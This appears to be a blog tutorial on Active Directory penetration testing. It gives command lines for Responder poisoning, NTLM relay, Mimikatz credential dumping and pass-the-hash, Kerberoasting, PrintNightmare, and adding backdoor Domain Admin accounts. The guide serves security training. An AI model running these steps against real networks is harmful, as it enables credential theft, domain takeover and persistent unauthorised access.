Pentesting Active Directory: The Ultimate Methodology Guide
Active Directory (AD) is the digital command center of most enterprise networks—a fortress of user accounts, computers, and resources. But every fortress has its weak points. For ethical hackers and security pros, mastering AD pentesting is the key to uncovering vulnerabilities before the bad guys do.
Whether you’re just starting out or looking to sharpen your skills, this guide will walk you through the mindset, tools, and step-by-step techniques for a thorough AD pentest. Let’s dive in!
🚦 Active Directory 101: The Building Blocks
- Directories: Hierarchical databases storing info about users, computers, and more.
- Objects: The “players” in AD—users, groups, computers, printers. Each has unique attributes.
- Domains: Logical groupings sharing the same AD database (think: security boundaries).
- Trees & Forests: Trees = connected domains; Forests = top-level containers for multiple trees, unified by a global catalog.
Core Services:
- AD DS: Authentication, authorization, and directory services.
- Certificate Services: Manages digital certificates for secure comms.
- Federation Services: Enables Single Sign-On (SSO) across orgs.
- DNS Integration: Seamless name resolution within the network.
🕵️♂️ The Pentesting Methodology: From Recon to Exploit
1. Reconnaissance (No Credentials Required!)
First step: Know your battlefield.
- Scan for Open Ports & Services:
nmap -sP <target_network_range>
nmap -p 88,135,139,389,445,636,3268,3269,3389 -sV -O <target_ip>
- Enumerate NetBIOS & DNS:
nbtscan <target_network_range>
nslookup -type=SRV _ldap._tcp.dc._msdcs.<domain>
Pro tip: Passive recon keeps you stealthy!
2. User & Host Enumeration
Find out who’s who in the zoo.
- LDAP & SMB Enumeration:
ldapsearch -x -h <dc_ip> -b "dc=example,dc=com" "(objectclass=user)"
enum4linux -U <target_ip>
3. LLMNR/NBT-NS Poisoning
Catch credentials on the wire.
- Responder:
sudo responder -I <interface>
4. NTLM Relay Attacks
Relay captured hashes for unauthorized access.
- NTLMRelayX:
sudo ntlmrelayx.py -tf targets.txt -smb2support
5. Credential Theft
Extract credentials from memory.
- Mimikatz Magic:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
6. Enumerate AD with Credentials
Map the kingdom once you have keys.
- BloodHound & SharpHound:
SharpHound.exe -c All
7. Advanced Attacks
Kerberoasting
- Crack service account tickets offline.
Rubeus.exe kerberoast
Remote Connections
- Exploit RDP, SSH, Win-RM, FTP.
msfconsole
use exploit/windows/rdp/rdp_login
Session Hijacking
- List and hijack active sessions.
klist sessions
Hunt for Credentials in Shares
- Look for passwords/scripts in shared folders.
SharpHound.exe -c Shares
💥 Exploiting Known Vulnerabilities
- PrintNightmare (CVE-2021–1675/34527):
PrintNightmare.exe <target_ip>
- Patch or disable Print Spooler:
Stop-Service -Name Spooler -Force
🧠 Privilege Escalation: Going for Domain Admin
- BloodHound: Find misconfigurations and escalation paths.
- Pass-the-Hash & Pass-the-Ticket: Use stolen hashes/tickets to access resources.
- Mimikatz: Token impersonation, Kerberos ticket extraction, and more.
Sample Command:
mimikatz.exe "privilege::debug"
"sekurlsa::pth /user:<username> /domain:<domain>
/ntlm:<hash> /run:cmd.exe" "exit"
🔒 Persistence & Post-Exploitation
- Golden/Silver/Diamond Tickets: Forge tickets for long-term access.
- Backdoor Accounts:
net user <username> <password> /add
net group "Domain Admins" <username> /add
- Certificate Abuse:
Certify.exe request /ca:<CA Name> /template:<Template Name>
📝 Tips for Beginners
- Don’t Skip Recon: Thorough mapping = smarter attacks.
- Patch Management is Key: Outdated systems = easy targets.
- Document Everything: Your notes are gold for reporting and learning.
⚡ Common Challenges & How to Beat Them
- Complexity: Break the environment into chunks.
- Detection: Use stealthy tools; avoid noisy scans.
- Lack of Docs: Keep detailed logs of every step.
🎯 Final Thoughts
Pentesting Active Directory isn’t just about finding flaws—it’s about fortifying the digital backbone of an organization. With a systematic approach, the right tools, and a curious mindset, you’ll not only identify vulnerabilities but also help build a more secure and resilient IT infrastructure.
Stay sharp, keep learning, and happy hacking!